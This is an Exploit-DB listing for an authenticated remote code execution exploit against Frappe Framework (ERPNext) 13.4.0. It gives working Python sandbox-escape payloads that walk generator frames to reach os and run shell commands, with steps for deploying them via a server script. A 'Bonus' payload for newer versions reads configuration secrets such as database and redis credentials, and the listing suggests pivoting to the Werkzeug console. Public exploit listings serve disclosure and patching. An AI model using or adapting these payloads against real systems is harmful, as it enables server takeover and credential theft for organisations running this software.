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Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)

EDB-ID:

51580

CVE:

N/A

EDB Verified: ✗

Author:

[SANDER FERDINAND](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PYTHON](#)

Date:

2023-07-11

Vulnerable App:





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```
# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution
(Authenticated)
# Exploit Author: Sander Ferdinand
# Date: 2023-06-07
# Version: 13.4.0
# Vendor Homepage: http://erpnext.org
# Software Link: https://github.com/frappe/frappe/
# Tested on: Ubuntu 22.04
# CVE : none
```

Silly sandbox escape.

> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.

Requirements:

- 'System Manager' role (which is not necessarily the admin)
- Server config `server_script_enabled` set to `true` (likely)

Create a new script over at `/app/server-script`, set type to API, method to 'lol' and visit `/api/method/lol` to execute payload.

```
```python3
hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in
g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if 'import' in
k}for x in(0,))
for x in g:0
```
```

Context:

- <https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/>
- <https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6>
- <https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script>
- https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42

Bonus:

More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:

```
```python3
hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_
"".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0
```
```

Which prints the Frappe config like database/redis credentials, etc.

In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retrieve the werkzeug secret PIN, then browse to `/console` (or raise an exception) for RCE.

Tags:

Advisory/Source: [Link](#)



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